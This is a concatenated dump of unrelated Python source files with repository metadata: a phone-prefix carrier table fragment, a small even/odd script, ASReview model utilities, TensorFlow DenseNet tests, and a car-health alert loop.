'Vodafone'}, '316359':{'en': 'ASPIDER Solutions Nederland B.V.'}, '346342':{'en': 'Vodafone'}, '346343':{'en': 'HITS'}, '346340':{'en': 'Lebara'}, '346341':{'en': 'Lebara'}, '346346':{'en': 'Vodafone'}, '316351':{'en': 'Intercity Zakelijk'}, '346344':{'en': 'Eroski movil'}, '346345':{'en': 'PepePhone'}, '554399155':{'en': 'Vivo'}, '551399632':{'en': 'Vivo'}, '551399633':{'en': 'Vivo'}, '551399630':{'en': 'Vivo'}, '551399631':{'en': 'Vivo'}, '551399636':{'en': 'Vivo'}, '551399637':{'en': 'Vivo'}, '551399634':{'en': 'Vivo'}, '551399635':{'en': 'Vivo'}, '33643':{'en': 'Orange France'}, '33642':{'en': 'Orange France'}, '33645':{'en': 'Orange France'}, '33647':{'en': 'Orange France'}, '33646':{'en': 'SFR'}, '33648':{'en': 'Orange France'}, '554199177':{'en': 'Vivo'}, '554199175':{'en': 'Vivo'}, '31649':{'en': 'Telfort'}, '31647':{'en': 'Telfort'}, '31646':{'en': 'Vodafone Libertel B.V.'}, '31645':{'en': 'Telfort'}, '31644':{'en': 'Telfort'}, '31643':{'en': 'T-Mobile'}, '31642':{'en': 'T-Mobile'}, '31641':{'en': 'T-Mobile'}, '31640':{'en': 'Tele2'}, '1473901':{'en': 'Affordable Island Communications'}, '516396399':{'en': 'Movistar'}, '516396398':{'en': 'Movistar'}, '516396393':{'en': 'Movistar'}, '516396392':{'en': 'Movistar'}, '516396391':{'en': 'Movistar'}, '516396390':{'en': 'Movistar'}, '516396395':{'en': 'Movistar'}, '516396394':{'en': 'Movistar'}, '554698822':{'en': 'Claro BR'}, '34699':{'en': 'Movistar'}, '34698':{'en': 'MasMovil'}, '517396995':{'en': 'Movistar'}, '34692':{'en': 'Orange'}, '34691':{'en': 'Orange'}, '34690':{'en': 'Movistar'}, '34697':{'en': 'Vodafone'}, '34696':{'en': 'Movistar'}, '34695':{'en': 'Orange'}, '34694':{'en': 'Movistar'}, '553299145':{'en': 'TIM'}, '553299144':{'en': 'TIM'}, '50586':{'en': 'Claro'}, '553299141':{'en': 'TIM'}, '553299143':{'en': 'TIM'}, '553299142':{'en': 'TIM'}, '553499806':{'en': 'Telemig Celular'}, '50581':{'en': 'Movistar'}, '554698827':{'en': 'Claro BR'}, '552298147':{'en': 'TIM'}, '552298146':{'en': 'TIM'}, '552298145':{'en': 'TIM'}, '552298144':{'en': 'TIM'}, '552298143':{'en': 'TIM'}, '552298142':{'en': 'TIM'}, '552298141':{'en': 'TIM'}, '553799925':{'en': 'Telemig Celular'}, '553599997':{'en': 'Telemig Celular'}, '554698825':{'en': 'Claro BR'}, '553799926':{'en': 'Telemig Celular'}, '552298149':{'en': 'TIM'}, '552298148':{'en': 'TIM'}, '38095':{'en': 'Vodafone'}, '38094':{'en': 'Intertelecom'}, '38097':{'en': 'Kyivstar'}, '38096':{'en': 'Kyivstar'}, '38091':{'en': 'TriMob'}, '1242524':{'en': 'BaTelCo'}, '38093':{'en': 'lifecell'}, '38092':{'en': 'PEOPLEnet'}, '551699716':{'en': 'Vivo'}, '551699717':{'en': 'Vivo'}, '551699714':{'en': 'Vivo'}, '551699715':{'en': 'Vivo'}, '38099':{'en': 'Vodafone'}, '38098':{'en': 'Kyivstar'}, '551699711':{'en': 'Vivo'}, '5528988':{'en': 'Oi'}, '5528989':{'en': 'Oi'}, '2237':{'en': 'Orange'}, '5528986':{'en': 'Oi'}, '5528987':{'en': 'Oi'}, '517396999':{'en': 'Movistar'}, '507219':{'en': u('Telef\u00f3nica M\u00f3viles')}, '507218':{'en': u('Telef\u00f3nica M\u00f3viles')}, '26263963':{'en': 'Orange'}, '26263960':{'en': 'Orange'}, '554599136':{'en': 'Vivo'}, '554599137':{'en': 'Vivo'}, '554599134':{'en': 'Vivo'}, '551799709':{'en': 'Vivo'}, '554599132':{'en': 'Vivo'}, '554599133':{'en': 'Vivo'}, '554599131':{'en': 'Vivo'}, '553799928':{'en': 'Telemig Celular'}, '552499395':{'en': 'Claro BR'}, '26263967':{'en': 'SFR'}, '234701':{'en': 'Airtel'}, '234703':{'en': 'MTN'}, '234704':{'en': 'Visafone'}, '234705':{'en': 'Glo'}, '234706':{'en': 'MTN'}, '234707':{'en': 'Zoom'}, '234708':{'en': 'Airtel'}, '234709':{'en': 'Multilinks'}, '26263965':{'en': 'SFR'}, '554598841':{'en': 'Claro BR'}, '554598842':{'en': 'Claro BR'}, '554198458':{'en': 'Brasil Telecom GSM'}, '554198459':{'en': 'Brasil Telecom GSM'}, '554198456':{'en': 'Brasil Telecom GSM'}, '554198457':{'en': 'Brasil Telecom GSM'}, '554198454':{'en': 'Brasil Telecom GSM'}, '554198455':{'en': 'Brasil Telecom GSM'}, '554198452':{'en': 'Brasil Telecom GSM'}, '554198453':{'en': 'Brasil Telecom GSM'}, '554198451':{'en': 'Brasil Telecom GSM'}, '454291':{'en': '3'}, '35568':{'en': 'Telekom'}, '35569':{'en': 'Vodafone'}, '518498402':{'en': 'Movistar'}, '518498403':{'en': 'Movistar'}, '518498400':{'en': 'Movistar'}, '518498401':{'en': 'Movistar'}, '518498406':{'en': 'Movistar'}, '447806':{'en': 'EE'}, '518498404':{'en': 'Movistar'}, '447804':{'en': 'EE'}, '45428':{'en': 'CBB Mobil'}, '5511997':{'en': 'Vivo'}, '553599913':{'en': 'Telemig Celular'}, '553599912':{'en': 'Telemig Celular'}, '55119658':{'en': 'Claro BR'}, '55119659':{'en': 'Claro BR'}, '553599917':{'en': 'Telemig Celular'}, '553599916':{'en': 'Telemig Celular'}, '553599915':{'en': 'Telemig Celular'}, '553599914':{'en': 'Telemig Celular'}, '553599919':{'en': 'Telemig Celular'}, '553599918':{'en': 'Telemig Celular'}, '55119657':{'en': 'Claro BR'}, '420608':{'en': 'Vodafone'}, '420606':{'en': 'O2'}, '420607':{'en': 'O2'}, '420604':{'en': 'T-Mobile'}, '420605':{'en': 'T-Mobile'}, '420602':{'en': 'O2'}, '420603':{'en': 'T-Mobile'}, '420601':{'en': 'O2'}, '25262':{'en': 'Somtel'}, '25263':{'en': 'Telesom'}, '25264':{'en': 'Somali Networks'}, '25265':{'en': 'Somtel'}, '25266':{'en': 'Somtel'}, '25267':{'en': 'Nationlink'}, '25268':{'en': 'Nationlink'}, '25269':{'en': 'Nationlink'}, '55249990':{'en': 'Vivo'}, '1939250':{'en': 'Claro'}, '1939251':{'en': 'Claro'}, '1939252':{'en': 'CENTENNIAL'}, '1939253':{'en': 'Claro'}, '1939254':{'en': 'Claro'}, '1939255':{'en': 'Claro'}, '1939256':{'en': 'Claro'}, '1939257':{'en': 'Claro'}, '1939258':{'en': 'Claro'}, '1939259':{'en': 'Claro'}, '553199786':{'en': 'Telemig Celular'}, '551699718':{'en': 'Vivo'}, '552498138':{'en': 'TIM'}, '552498139':{'en': 'TIM'}, '551599175':{'en': 'Claro BR'}, '552498131':{'en': 'TIM'}, '552498132':{'en': 'TIM'}, '552498133':{'en': 'TIM'}, '552498134':{'en': 'TIM'}, '552498135':{'en': 'TIM'}, '552498136':{'en': 'TIM'}, '552498137':{'en': 'TIM'}, '551699719':{'en': 'Vivo'}, '553199784':{'en': 'Telemig Celular'}, '459333':{'en': 'Onoffapp'}, '459330':{'en': 'Justfone'}, '459339':{'en': 'Uni-tel'}, '553199785':{'en': 'Telemig Celular'}, '455333':{'en': 'Lebara Limited'}, '33700003':{'en': 'Bouygues'}, '551398152':{'en': 'TIM'}, '551398153':{'en': 'TIM'}, '551398154':{'en': 'TIM'}, '551398155':{'en': 'TIM'}, '551398156':{'en': 'TIM'}, '33700002':{'en': 'Mobiquithings'}, '551398158':{'en': 'TIM'}, '551398159':{'en': 'TIM'}, '33700001':{'en': 'SFR'}, '33700000':{'en': 'Orange France'}, '2348456':{'en': 'Starcomms'}, '2348454':{'en': 'Starcomms'}, '2348453':{'en': 'Starcomms'}, '479277':{'en': 'NetCom'}, '38664':{'en': 'T-2'}, '553799933':{'en': 'Telemig Celular'}, '553799932':{'en': 'Telemig Celular'}, '553799931':{'en': 'Telemig Celular'}, '553799937':{'en': 'Telemig Celular'}, '553799936':{'en': 'Telemig Celular'}, '553799935':{'en': 'Telemig Celular'}, '553799934':{'en': 'Telemig Celular'}, '553799939':{'en': 'Telemig Celular'}, '553799938':{'en': 'Telemig Celular'}, '554799978':{'en': 'TIM'}, '447579':{'en': 'Orange'}, '447578':{'en': 'Three'}, '554799979':{'en': 'TIM'}, '447573':{'en': 'EE'}, '447572':{'en': 'EE'}, '447570':{'en': 'Vodafone'}, '447577':{'en': 'Three'}, '447576':{'en': 'Three'}, '447575':{'en': 'Three'}, '447574':{'en': 'EE'}, '479419':{'en': 'Telenor'}, '479418':{'en': 'Telenor'}, '554799957':{'en': 'TIM'}, '479413':{'en': 'Telenor'}, '479415':{'en': 'Telenor'}, '479414':{'en': 'Telenor'}, '479417':{'en': 'Telenor'}, '479416':{'en': 'Telenor'}, '551298134':{'en': 'TIM'}, '47984':{'en': 'NetCom'}, '47986':{'en': 'NetCom'}, '47980':{'en': 'NetCom'}, '47982':{'en': 'NetCom'}, '47988':{'en': 'NetCom'}, '554799967':{'en': 'TIM'}, '45536':{'en': '3'}, '554799965':{'en': 'TIM'}, '554799964':{'en': 'TIM'}, '474768':{'en': 'Telenor'}, '554799962':{'en': 'TIM'}, '27637':{'en': 'Vodacom'}, '459225':{'en': 'Mundio Mobile'}, '474764':{'en': 'Telenor'}, '474765':{'en': 'Telenor'}, '474766':{'en': 'Telenor'}, '474767':{'en': 'Telenor'}, '474760':{'en': 'Telenor'}, '459226':{'en': 'Mundio Mobile'}, '474762':{'en': 'Telenor'}, '474763':{'en': 'Telenor'}, '45535':{'en': '3'}, '45532':{'en': 'Telia'}, '45533':{'en': 'Telia'}, '551498146':{'en': 'TIM'}, '551498147':{'en': 'TIM'}, '551498144':{'en': 'TIM'}, '551498145':{'en': 'TIM'}, '551498142':{'en': 'TIM'}, '502569':{'en': 'Telgua'}, '551498141':{'en': 'TIM'}, '459223':{'en': '42 Telecom AB'}, '502561':{'en': 'Telgua'}, '502562':{'en': 'Telgua'}, '502563':{'en': 'Telgua'}, '554799619':{'en': 'TIM'}, '554799618':{'en': 'TIM'}, '551899793':{'en': 'Vivo'}, '503749':{'en': 'Tigo'}, '503748':{'en': 'Tigo'}, '503747':{'en': 'Tigo'}, '3465729':{'en': 'DIA'}, '503745':{'en': 'Movistar'}, '554799612':{'en': 'TIM'}, '554799615':{'en': 'TIM'}, '459154':{'en': 'TDC'}, '554799617':{'en': 'TIM'}, '551899795':{'en': 'Vivo'}, '3519294':{'en': 'NOS'}, '554199192':{'en': 'Vivo'}, '551999661':{'en': 'Vivo'}, '554199194':{'en': 'Vivo'}, '551899796':{'en': 'Vivo'}, '554199196':{'en': 'Vivo'}, '553899906':{'en': 'Telemig Celular'}, '554199198':{'en': 'Vivo'}, '553199834':{'en': 'Telemig Celular'}, '551899797':{'en': 'Vivo'}, '553899905':{'en': 'Telemig Celular'}, '553199835':{'en': 'Telemig Celular'}, '553899904':{'en': 'Telemig Celular'}, '553199836':{'en': 'Telemig Celular'}, '553899903':{'en': 'Telemig Celular'}, '55279964':{'en': 'Vivo'}, '55279963':{'en': 'Vivo'}, '55279962':{'en': 'Vivo'}, '55279961':{'en': 'Vivo'}, '3519291':{'en': 'NOS'}, '554398414':{'en': 'Brasil Telecom GSM'}, '3519292':{'en': 'NOS'}, '554398415':{'en': 'Brasil Telecom GSM'}, '3519293':{'en': 'NOS'}, '551298133':{'en': 'TIM'}, '554398416':{'en': 'Brasil Telecom GSM'}, '554398417':{'en': 'Brasil Telecom GSM'}, '1671838':{'en': 'i CAN_GSM'}, '554398411':{'en': 'Brasil Telecom GSM'}, '554398412':{'en': 'Brasil Telecom GSM'}, '14417':{'en': 'Cellular One'}, '554398413':{'en': 'Brasil Telecom GSM'}, '553199321':{'en': 'TIM'}, '1787673':{'en': 'SunCom Wireless Puerto Rico'}, '553199323':{'en': 'TIM'}, '1787675':{'en': 'CENTENNIAL'}, '553199325':{'en': 'TIM'}, '553199326':{'en': 'TIM'}, '553199327':{'en': 'TIM'}, '553199328':{'en': 'TIM'}, '1787678':{'en': 'SunCom Wireless Puerto Rico'}, '26269393':{'en': 'Orange'}, '553799955':{'en': 'Telemig Celular'}, '551899738':{'en': 'Vivo'}, '551899739':{'en': 'Vivo'}, '551298809':{'en': 'Oi'}, '551298808':{'en': 'Oi'}, '551899732':{'en': 'Vivo'}, '551899733':{'en': 'Vivo'}, '551899731':{'en': 'Vivo'}, '551899736':{'en': 'Vivo'}, '551899737':{'en': 'Vivo'}, '551899734':{'en': 'Vivo'}, '551899735':{'en': 'Vivo'}, '553599125':{'en': 'TIM'}, '553199229':{'en': 'TIM'}, '553199228':{'en': 'TIM'}, '553199225':{'en': 'TIM'}, '553199224':{'en': 'TIM'}, '553199227':{'en': 'TIM'}, '553199226':{'en': 'TIM'}, '553199221':{'en': 'TIM'}, '553199223':{'en': 'TIM'}, '553199222':{'en': 'TIM'}, '551598815':{'en': 'Oi'}, '553798411':{'en': 'Claro BR'}, '5036310':{'en': 'Claro'}, '3763':{'en': 'Mobiland'}, '554399139':{'en': 'Vivo'}, '55179922':{'en': 'Claro BR'}, '55179920':{'en': 'Claro BR'}, '55179921':{'en': 'Claro BR'}, '515495828':{'en': 'Claro'}, '515495829':{'en': 'Claro'}, '43660':{'en': 'Hutchison Drei Austria'}, '43664':{'en': 'A1 TA'}, '553899177':{'en': 'TIM'}, '553798417':{'en': 'Claro BR'}, '553899174':{'en': 'TIM'}, '553899175':{'en': 'TIM'}, '516495410':{'en': 'Claro'}, '516495411':{'en': 'Claro'}, '516495412':{'en': 'Claro'}, '553899173':{'en': 'TIM'}, '517697693':{'en': 'Movistar'}, '517697692':{'en': 'Movistar'}, '515495895':{'en': 'Claro'}, '515495894':{'en': 'Movistar'}, '517697697':{'en': 'Movistar'}, '517697696':{'en': 'Movistar'}, '515495891':{'en': 'Movistar'}, '517697694':{'en': 'Movistar'}, '517697699':{'en': 'Movistar'}, '517697698':{'en': 'Movistar'}, '515495898':{'en': 'Claro'}, '3469399':{'en': 'MasMovil'}, '3469398':{'en': 'MasMovil'}, '3469395':{'en': 'MasMovil'}, '3469394':{'en': 'MasMovil'}, '3469397':{'en': 'MasMovil'}, '3469396':{'en': 'MasMovil'}, '3469391':{'en': 'MasMovil'}, '3469393':{'en': 'MasMovil'}, '3469392':{'en': 'MasMovil'}, '553798415':{'en': 'Claro BR'}, '554399174':{'en': 'Vivo'}, '4476020':{'en': 'O2'}, '4476022':{'en': 'Relax'}, '553199918':{'en': 'Telemig Celular'}, '553199917':{'en': 'Telemig Celular'}, '553199916':{'en': 'Telemig Celular'}, '553199915':{'en': 'Telemig Celular'}, '553199914':{'en': 'Telemig Celular'}, '553199913':{'en': 'Telemig Celular'}, '553199912':{'en': 'Telemig Celular'}, '553199911':{'en': 'Telemig Celular'}, '553798414':{'en': 'Claro BR'}, '359999':{'en': 'MAX'}, '554399171':{'en': 'Vivo'}, '554399172':{'en': 'Vivo'}, '554399173':{'en': 'Vivo'}, '551698158':{'en': 'TIM'}, '5516991':{'en': 'Claro BR'}, '5516992':{'en': 'Claro BR'}, '503642':{'en': 'Movistar'}, '551799702':{'en': 'Vivo'}, '551799703':{'en': 'Vivo'}, '26263968':{'en': 'SFR'}, '26263969':{'en': 'SFR'}, '37498':{'en': 'VivaCell-MTS', 'ru': u('\u0412\u0438\u0432\u0430\u0421\u0435\u043b\u043b-\u041c\u0422\u0421')}, '37499':{'en': 'Beeline', 'ru': u('\u0411\u0438\u043b\u0430\u0439\u043d')}, '551799704':{'en': 'Vivo'}, '551799705':{'en': 'Vivo'}, '37494':{'en': 'VivaCell-MTS', 'ru': u('\u0412\u0438\u0432\u0430\u0421\u0435\u043b\u043b-\u041c\u0422\u0421')}, '37495':{'en': 'Ucom', 'ru': u('\u042e\u043a\u043e\u043c')}, '37496':{'en': 'Beeline', 'ru': u('\u0411\u0438\u043b\u0430\u0439\u043d')}, '26263961':{'en': 'Orange'}, '26263966':{'en': 'SFR'}, '37491':{'en': 'Beeline', 'ru': u('\u0411\u0438\u043b\u0430\u0439\u043d')}, '26263964':{'en': 'Orange'}, '37493':{'en': 'VivaCell-MTS', 'ru': u('\u0412\u0438\u0432\u0430\u0421\u0435\u043b\u043b-\u041c\u0422\u0421')}, '212639':{'en': 'Maroc Telecom'}, '516396371':{'en': 'Claro'}, '516396370':{'en': 'Claro'}, '516396373':{'en': 'Claro'}, '516396372':{'en': 'Claro'}, '33700004':{'en': 'Afone'}, '551499152':{'en': 'Claro BR'}, '551499153':{'en': 'Claro BR'}, '551499151':{'en': 'Claro BR'}, '551499156':{'en': 'Claro BR'}, '551499157':{'en': 'Claro BR'}, '551499154':{'en': 'Claro BR'}, '551499155':{'en': 'Claro BR'}, '552798152':{'en': 'TIM'}, '551698153':{'en': 'TIM'}, '552798151':{'en': 'TIM'}, '552298129':{'en': 'TIM'}, '552298128':{'en': 'TIM'}, '552298125':{'en': 'TIM'}, '552298124':{'en': 'TIM'}, '552298127':{'en': 'TIM'}, '552298126':{'en': 'TIM'}, '552298121':{'en': 'TIM'}, '552298123':{'en': 'TIM'}, '552298122':{'en': 'TIM'}, '14413':{'en': 'Mobility'}, '515395361':{'en': 'Movistar'}, '26269399':{'en': 'Orange'}, '515395363':{'en': 'Movistar'}, '515395364':{'en': 'Movistar'}, '552798155':{'en': 'TIM'}, '515395366':{'en': 'Movistar'}, '515395367':{'en': 'Movistar'}, '515395368':{'en': 'Movistar'}, '26269392':{'en': 'Orange'}, '26269391':{'en': 'Orange'}, '26269390':{'en': 'Orange'}, '26269397':{'en': 'SFR'}, '554399135':{'en': 'Vivo'}, '26269394':{'en': 'SFR'}, '551699734':{'en': 'Vivo'}, '551699735':{'en': 'Vivo'}, '551699736':{'en': 'Vivo'}, '551699737':{'en': 'Vivo'}, '551699731':{'en': 'Vivo'}, '551699732':{'en': 'Vivo'}, '551699733':{'en': 'Vivo'}, '551699738':{'en': 'Vivo'}, '551699739':{'en': 'Vivo'}, '1242544':{'en': 'BaTelCo'}, '3859751':{'en': 'Telefocus'}, '551698151':{'en': 'TIM'}, '554599118':{'en': 'Vivo'}, '554599119':{'en': 'Vivo'}, '554599114':{'en': 'Vivo'}, '554599115':{'en': 'Vivo'}, '554599116':{'en': 'Vivo'}, '554599117':{'en': 'Vivo'}, '554599111':{'en': 'Vivo'}, '554599112':{'en': 'Vivo'}, '554599113':{'en': 'Vivo'}, '554299121':{'en': 'Vivo'}, '554399137':{'en': 'Vivo'}, '38349':{'en': 'IPKO'}, '38343':{'en': 'IPKO'}, '38344':{'en': 'vala'}, }
30.90422
125
0.534352
853ce69d490231a61e4aa709851cc82f2604cd6d
181
py
Python
EvenOdd.py
rajatgarg149/Daily_python_practice
2f077e9f6432cc1c2232377256743a7dbdc25a28
[ "MIT" ]
null
null
null
EvenOdd.py
rajatgarg149/Daily_python_practice
2f077e9f6432cc1c2232377256743a7dbdc25a28
[ "MIT" ]
null
null
null
EvenOdd.py
rajatgarg149/Daily_python_practice
2f077e9f6432cc1c2232377256743a7dbdc25a28
[ "MIT" ]
null
null
null
'''This program defines a number as odd/even''' print('Hello user!') number = input('Type a number.\n') if int(number)%2: print('\nNumber is ODD.') else: print('\nNumber is Even.')
30.166667
47
0.674033
7eedcf135de978fae49476805aab413f0bea9ed2
2,056
py
Python
asreview/models/feature_extraction/utils.py
BartJanBoverhof/asreview
33894ebebf7bda2c552b707c3725c0287ac00369
[ "Apache-2.0" ]
null
null
null
asreview/models/feature_extraction/utils.py
BartJanBoverhof/asreview
33894ebebf7bda2c552b707c3725c0287ac00369
[ "Apache-2.0" ]
null
null
null
asreview/models/feature_extraction/utils.py
BartJanBoverhof/asreview
33894ebebf7bda2c552b707c3725c0287ac00369
[ "Apache-2.0" ]
null
null
null
# Copyright 2019-2020 The ASReview Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from asreview.utils import list_model_names from asreview.utils import _model_class_from_entry_point def list_feature_extraction(): """List available feature extraction methods. Returns ------- list: Names of available feature extraction methods in alphabetical order. """ return list_model_names(entry_name="asreview.models.feature_extraction") def get_feature_class(name): """Get class of feature extraction from string. Arguments --------- name: str Name of the feature model, e.g. 'doc2vec', 'tfidf' or 'embedding-lstm'. Returns ------- BaseFeatureExtraction: Class corresponding to the name. """ return _model_class_from_entry_point(name, "asreview.models.feature_extraction") def get_feature_model(name, *args, random_state=None, **kwargs): """Get an instance of a feature extraction model from a string. Arguments --------- name: str Name of the feature extraction model. *args: Arguments for the feature extraction model. **kwargs: Keyword arguments for thefeature extraction model. Returns ------- BaseFeatureExtraction: Initialized instance of feature extraction algorithm. """ model_class = get_feature_class(name) try: return model_class(*args, random_state=random_state, **kwargs) except TypeError: return model_class(*args, **kwargs)
30.235294
84
0.704767
b24eec5dd08d94581f27a930dd7a27380f32ff6b
501
py
Python
channelshowdown/event/migrations/0004_auto_20180405_2212.py
channelfix/cshowdown-backend
4225ad4f2bd56112f627e6fe1f26c281484d804e
[ "MIT" ]
null
null
null
channelshowdown/event/migrations/0004_auto_20180405_2212.py
channelfix/cshowdown-backend
4225ad4f2bd56112f627e6fe1f26c281484d804e
[ "MIT" ]
6
2018-02-19T02:41:20.000Z
2022-03-11T23:19:40.000Z
channelshowdown/event/migrations/0004_auto_20180405_2212.py
emilarran/channelshowdown_final
0bcc8766af66719934bf744d0be2a90e96359761
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # Generated by Django 1.11.10 on 2018-04-05 14:12 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('event', '0003_auto_20180404_2245'), ] operations = [ migrations.AlterField( model_name='event', name='event_image', field=models.ImageField(default='event_image/default.png', upload_to='event_image/'), ), ]
23.857143
97
0.634731
bd0057fb1a0175a805a0f7a1e4dcaa2bdc3c435a
5,721
py
Python
tensorflow/contrib/eager/python/examples/densenet/densenet_graph_test.py
kekeblom/tensorflow
be8184f8e002576aa2ef3274436dea68e9173c5f
[ "Apache-2.0" ]
3
2020-01-13T19:44:49.000Z
2020-10-10T02:26:52.000Z
tensorflow/contrib/eager/python/examples/densenet/densenet_graph_test.py
AKIRA-MIYAKE/tensorflow
89e06304aad35bfb019a8c10f39fc1ead83e0f99
[ "Apache-2.0" ]
4
2019-08-14T22:32:51.000Z
2020-03-09T14:59:18.000Z
tensorflow/contrib/eager/python/examples/densenet/densenet_graph_test.py
AKIRA-MIYAKE/tensorflow
89e06304aad35bfb019a8c10f39fc1ead83e0f99
[ "Apache-2.0" ]
1
2018-08-21T21:53:14.000Z
2018-08-21T21:53:14.000Z
# Copyright 2018 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Tests and Benchmarks for Densenet model under graph execution.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import time import numpy as np import tensorflow as tf from tensorflow.contrib.eager.python.examples.densenet import densenet def data_format(): return 'channels_first' if tf.test.is_gpu_available() else 'channels_last' def image_shape(batch_size): if data_format() == 'channels_first': return [batch_size, 3, 224, 224] return [batch_size, 224, 224, 3] def random_batch(batch_size): images = np.random.rand(*image_shape(batch_size)).astype(np.float32) num_classes = 1000 labels = np.random.randint( low=0, high=num_classes, size=[batch_size]).astype(np.int32) one_hot = np.zeros((batch_size, num_classes)).astype(np.float32) one_hot[np.arange(batch_size), labels] = 1. return images, one_hot class DensenetGraphTest(tf.test.TestCase): def testApply(self): depth = 7 growth_rate = 2 num_blocks = 3 output_classes = 10 num_layers_in_each_block = -1 batch_size = 1 with tf.Graph().as_default(): images = tf.placeholder(tf.float32, image_shape(None)) model = densenet.DenseNet(depth, growth_rate, num_blocks, output_classes, num_layers_in_each_block, data_format(), bottleneck=True, compression=0.5, weight_decay=1e-4, dropout_rate=0, pool_initial=False, include_top=True) predictions = model(images, training=False) init = tf.global_variables_initializer() with tf.Session() as sess: sess.run(init) np_images, _ = random_batch(batch_size) out = sess.run(predictions, feed_dict={images: np_images}) self.assertAllEqual([batch_size, output_classes], out.shape) class DensenetBenchmark(tf.test.Benchmark): def __init__(self): self.depth = 121 self.growth_rate = 32 self.num_blocks = 4 self.output_classes = 1000 self.num_layers_in_each_block = [6, 12, 24, 16] def _report(self, label, start, num_iters, batch_size): avg_time = (time.time() - start) / num_iters dev = 'gpu' if tf.test.is_gpu_available() else 'cpu' name = 'graph_%s_%s_batch_%d_%s' % (label, dev, batch_size, data_format()) extras = {'examples_per_sec': batch_size / avg_time} self.report_benchmark( iters=num_iters, wall_time=avg_time, name=name, extras=extras) def benchmark_graph_apply(self): with tf.Graph().as_default(): images = tf.placeholder(tf.float32, image_shape(None)) model = densenet.DenseNet(self.depth, self.growth_rate, self.num_blocks, self.output_classes, self.num_layers_in_each_block, data_format(), bottleneck=True, compression=0.5, weight_decay=1e-4, dropout_rate=0, pool_initial=True, include_top=True) predictions = model(images, training=False) init = tf.global_variables_initializer() batch_size = 64 with tf.Session() as sess: sess.run(init) np_images, _ = random_batch(batch_size) num_burn, num_iters = (3, 30) for _ in range(num_burn): sess.run(predictions, feed_dict={images: np_images}) start = time.time() for _ in range(num_iters): sess.run(predictions, feed_dict={images: np_images}) self._report('apply', start, num_iters, batch_size) def benchmark_graph_train(self): for batch_size in [16, 32, 64]: with tf.Graph().as_default(): np_images, np_labels = random_batch(batch_size) dataset = tf.data.Dataset.from_tensors((np_images, np_labels)).repeat() (images, labels) = dataset.make_one_shot_iterator().get_next() model = densenet.DenseNet(self.depth, self.growth_rate, self.num_blocks, self.output_classes, self.num_layers_in_each_block, data_format(), bottleneck=True, compression=0.5, weight_decay=1e-4, dropout_rate=0, pool_initial=True, include_top=True) logits = model(images, training=True) loss = tf.losses.softmax_cross_entropy( logits=logits, onehot_labels=labels) optimizer = tf.train.GradientDescentOptimizer(learning_rate=1.0) train_op = optimizer.minimize(loss) init = tf.global_variables_initializer() with tf.Session() as sess: sess.run(init) (num_burn, num_iters) = (5, 10) for _ in range(num_burn): sess.run(train_op) start = time.time() for _ in range(num_iters): sess.run(train_op) self._report('train', start, num_iters, batch_size) if __name__ == '__main__': tf.test.main()
38.14
80
0.638
dcec7fb3361983d4752052a8876dec25290a247b
3,032
py
Python
Source/GUI_2/alertloop.py
sameertodkar/Car-Health-Monitor
ff43dbe513e2fd35e37909b0021c3e08e95cc959
[ "RSA-MD" ]
null
null
null
Source/GUI_2/alertloop.py
sameertodkar/Car-Health-Monitor
ff43dbe513e2fd35e37909b0021c3e08e95cc959
[ "RSA-MD" ]
null
null
null
Source/GUI_2/alertloop.py
sameertodkar/Car-Health-Monitor
ff43dbe513e2fd35e37909b0021c3e08e95cc959
[ "RSA-MD" ]
null
null
null
from alertsys import checkcond import time import json debug = True def select_thresh(): """This is a function to set thresholds of parameters These would be used by the notification system to compare with the sensor values and send an email. Returns: {(int,int,str)} -- (threshold 1, thereshold 2,user's email) """ # load data from the parameters.txt file with open('parameters.txt', 'r') as f: data = f.read() data = data.replace('\'', '\"') json_dict = json.loads(data) # extract data from the json category1 = json_dict['category1'] category2 = json_dict['category2'] email = json_dict['email'] # set default values for category1 and category2, in case they have not been set if category1 == "": category1 = "Summer" if category2 == "": category2 = "Car" # for debuging if debug: print('Selected categories: ') print('category2: ' , category2, end = ', ') print('category1: ', category1 ) print('-'*100) # threshold selection criterion if category2 == "Car": if category1 == "Summer": # Temperature in celsius thresh_engineTemp = 107 print('Engine temperature threshold set to: ', thresh_engineTemp) # Pressure in psi thresh_tirePressure = 28 print('Time pressure threshold set to: ', thresh_tirePressure) elif category1 == "Winter": thresh_engineTemp = 102 print('Engine temperature threshold set to: ', thresh_engineTemp) thresh_tirePressure = 31 print('Time pressure threshold set to: ', thresh_tirePressure) elif category2 == "Truck": if category1 == "Summer": thresh_engineTemp = 115 print('Engine temperature threshold set to: ', thresh_engineTemp) thresh_tirePressure = 31 print('Time pressure threshold set to: ', thresh_tirePressure) elif category1 == "Winter": thresh_engineTemp = 110 print('Engine temperature threshold set to: ', thresh_engineTemp) thresh_tirePressure = 34 print('Time pressure threshold set to: ', thresh_tirePressure) thresh_tireDistanceKm = 60000 print('Tire max distance threshold set to: ', thresh_tireDistanceKm) thresh_oilTimehrs = 5000 print('oil max time threshold set to: ', thresh_oilTimehrs) print('\n') return (thresh_engineTemp, thresh_tirePressure, thresh_oilTimehrs, thresh_tireDistanceKm, email) # intialize flag as false indicating no maintainance or replacement is required f = False # an infite loop which will continue running until maintainance or replacement is required while True: print('_'*100) if not f: print('waiting for update') print('Comparing data with thresholds ... ') (t1, t2, t3, t4, email) = select_thresh() f = checkcond(f, t1, t2, t3, t4, email) else: break time.sleep(5)
33.318681
100
0.634894
b260a16d32b75dfda3b55385801f3a27e2c6195e
558
py
Python
morango/migrations/0004_auto_20170520_2112.py
indirectlylit/morango
380cab228a72a0ac6a20926ae6963cb76054b9e1
[ "MIT" ]
9
2016-09-16T03:13:41.000Z
2021-07-23T20:48:50.000Z
